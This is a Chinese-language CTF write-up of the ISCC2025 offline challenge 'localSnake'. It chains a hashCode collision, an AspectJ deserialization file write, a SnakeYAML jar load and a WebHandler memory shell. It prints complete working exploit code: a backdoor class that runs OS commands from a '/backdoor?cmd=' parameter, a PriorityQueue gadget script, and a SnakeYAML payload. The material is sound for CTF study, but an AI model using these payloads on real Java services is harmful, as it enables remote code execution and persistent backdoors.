ISCC2025线下赛-localSnake
1diot9 Lv4

前言

题目注意有四个考点:

1、hashcode碰撞

2、AspectJ反序列化写文件

3、snakeyaml反序列化加载本地jar

4、webhandler内存马

每一个考点单独拿出来还算常规,但是组合起来,且要在断网的情况下做,还是挺麻烦的,需要自己电脑上有各种储备

漏洞分析

1、hashcode碰撞

这里自己写个例子调试一下:

img

hashcode的计算逻辑为:

乘31后,再加上当前字符的ascii码。

所以,找满足31*73+83=31x+y的就行,这里取x=72,y=114,那就是 HrCC2025。

这样就能满足if条件,进入反序列化过程:

img

2、生成恶意jar包

https://github.com/artsploit/yaml-payload

其中恶意代码注入一个webhandler类型的内存马,网上搜一个就行,我当时本地有保存:

WebHandler内存马 | 1diot9’s Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package artsploit;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.List;

public class WebHandlerShell implements ScriptEngineFactory, HttpHandler {
public WebHandlerShell() {
System.out.println("WebHandlerShell Constructor!!!!!!!!");
}

static {
System.out.println("start Injection!!!!!=====================================");
//获取当前线程
Object o = Thread.currentThread();
try {
Field groupField = o.getClass().getDeclaredField("group");
groupField.setAccessible(true);
Object group = groupField.get(o);

Field threadsField = group.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Object t = threadsField.get(group);

Thread[] threads = (Thread[]) t;
for (Thread thread : threads){
if(thread.getName().equals("Thread-2")){
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);

Field thisField = target.getClass().getDeclaredField("this$0");
thisField.setAccessible(true);
Object this$0 = thisField.get(target);

Method createContext = Class.forName("sun.net.httpserver.ServerImpl").getDeclaredMethod("createContext", String.class, HttpHandler.class);
createContext.setAccessible(true);
createContext.invoke(this$0,"/backdoor",new WebHandlerShell());

}
}
} catch (Exception e) {
e.printStackTrace();
}
}

public void handle(HttpExchange t) throws IOException {
String response = "MemoryShell";
String query = t.getRequestURI().getQuery();
String[] args = query.split("=");
ByteArrayOutputStream output = null;
if (args[0].equals("cmd")){
InputStream inputStream = Runtime.getRuntime().exec(args[1]).getInputStream();
output = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while (-1 != (n = inputStream.read(buffer))) {
output.write(buffer, 0, n);
}
}
response+=("\n"+new String(output.toByteArray()));
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}




@Override
public String getEngineName() {
return "";
}

@Override
public String getEngineVersion() {
return "";
}

@Override
public List<String> getExtensions() {
return Collections.emptyList();
}

@Override
public List<String> getMimeTypes() {
return Collections.emptyList();
}

@Override
public List<String> getNames() {
return Collections.emptyList();
}

@Override
public String getLanguageName() {
return "";
}

@Override
public String getLanguageVersion() {
return "";
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return "";
}

@Override
public String getOutputStatement(String toDisplay) {
return "";
}

@Override
public String getProgram(String... statements) {
return "";
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

同时记得修改MATE-INF.services里面的内容:

img

然后生成恶意jar包。

3、反序列化写jar包

给的pom.xml里有aspectJ依赖,可以用来写文件。这题名字又叫localSnake,再加上这里私地的环境,大概率不出网。所以得写入jar包再通过snakeyaml本地加载。这里利用AspectJ链写文件,这个链子网上解析很多,这里简单讲一下。

Aspect依赖里面的SimpleCache$StoreableCachingMap#writeToPath()能够实现写文件:

img

folder是要写到哪个文件夹,key是文件的名字,都可控。

然后这个writeToPath,可以通过这个内部类的put方法触发:

img

value参数就是文件的byte[]字节流,都是可控的。

现在问题变成怎么触发这里的put。

看一下题目给的User类:

img

这里的hashMap是可控的,所以设置成StoreableCachingMap就行。现在问题转化成调用compare就行。

说到调用compare,那最先想到的就是CC4的前半段:

img

最终的脚本:注意,这里最好写到/tmp下,因为其他目录不一定有写权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.localSnake.solution;

import com.localSnake.utils.User;


import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class WithBlack {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("iscc.jar"));
String fileName = "iscc.jar";
Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class, int.class);
declaredConstructor.setAccessible(true);
HashMap write = (HashMap) declaredConstructor.newInstance("/tmp", 1);

User user = new User();
Tools.setFieldValue(user, "hashMap", write);

// user.compare(fileName, bytes);

PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(1);

Tools.setFieldValue(priorityQueue, "comparator", user);
Tools.setFieldValue(priorityQueue, "queue", new Object[]{fileName, bytes});
Tools.setFieldValue(priorityQueue, "size", 2);

byte[] ser = Tools.ser(priorityQueue);
String s = Base64.getEncoder().encodeToString(ser);
System.out.println(s);

}
}

4、snakeyaml反序列化加载恶意jar

直接看payload:

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/iscc.jar"]]]]

这里原理就是通过构造方法,一步步走到SPI加载。

可以看:https://drun1baby.top/2022/10/16/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-SnakeYaml-%E9%93%BE/

5、访问内存马

/backdoor?cmd=getflag

img

总结

私地就是这种打法。但是怎么做后渗透我不清楚,所以这里我是让pwn手帮忙的。把web脚本写好后,放到pwn的私地上去打,扫ip也交给pwn私地做了。要是没pwn手,我也就只能打打自己私地了(

最后发现好像能往/home/iscc里写ssh公钥,不过没去尝试,反正pwn私地上脚本已经跑起来了,就懒得搞了。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量